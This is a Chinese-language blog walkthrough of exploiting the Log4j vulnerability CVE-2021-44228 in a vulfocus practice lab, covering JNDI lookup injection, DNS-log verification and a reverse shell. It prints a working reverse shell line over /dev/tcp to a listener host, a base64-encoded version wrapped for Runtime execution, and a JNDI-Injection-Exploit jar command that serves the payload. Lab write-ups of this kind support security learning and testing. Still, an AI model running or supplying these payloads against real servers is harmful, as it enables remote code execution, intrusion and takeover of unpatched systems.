码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • CVE-2021-44228 Apache log4j 远程命令执行漏洞


    一、漏洞原理

    log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,从而达到我们应用的需求;这一切,都得益于一个灵活的配置文件,并不需要我们更改代码。

    由于log4j提供了lookup机制,使日志中的${}也可进行执行,在其中输入JNDI的payload,即可进行执行。

    在这里插入图片描述
    使用lookup进行jndi注入,通过ldap、rmi等使其访问不安全的服务。
    在这里插入图片描述

    二、验证漏洞

    开启vulfocus的靶场
    在这里插入图片描述
    进入指定url后点一下连接进行抓包,可以看到这次的输入是get型
    在这里插入图片描述
    使用开源的dnslog:ceye.io
    先url编码
    在这里插入图片描述
    点击发送,DNSLOG收到了访问请求
    在这里插入图片描述

    成功验证漏洞存在

    三、反弹shell

    反弹shell采取如图结构:
    在这里插入图片描述
    监听机kali: 192.168.92.128
    在这里插入图片描述

    反弹shell:

    bash -i >& /dev/tcp/192.168.92.128/4444 0>&1
    
    • 1

    由于runtime不会执行管道,所以需要将反弹shell使用base64加密

    bash -c "{echo,加密后文本}|{base64,-d}|{bash,-i}"
    
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEyOC80NDQ0IDA+JjE=
    
    bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
    
    • 1
    • 2
    • 3
    • 4
    • 5

    https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
    JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是jndi注入工具,起到了上述危险服务器的作用。

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.88.84.219"
    
    • 1

    在这里插入图片描述

    此处必须复制无版本号的rmi,否则不会成功,理由未知。
    在这里插入图片描述

  • 相关阅读:
    CEAC之《计算机应用助理工程师》2
    【Unity开发】VSCode 代码补全缺失问题的各种修复方法
    一些 dp 题
    【DL】关于tensor(张量)的介绍和理解
    c和cpp实现CPU核上绑定固定线程
    使用 Meltano 将数据从 Snowflake 导入到 Elasticsearch:开发者之旅
    axios(尚硅谷)
    字节面试官:“这92道 Spring Boot 面试题都答不上来?”
    Oracle 2019c安装闪退解决过程
    10月9日 Jdbc(2)
  • 原文地址:https://blog.csdn.net/mirocky/article/details/134057204
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号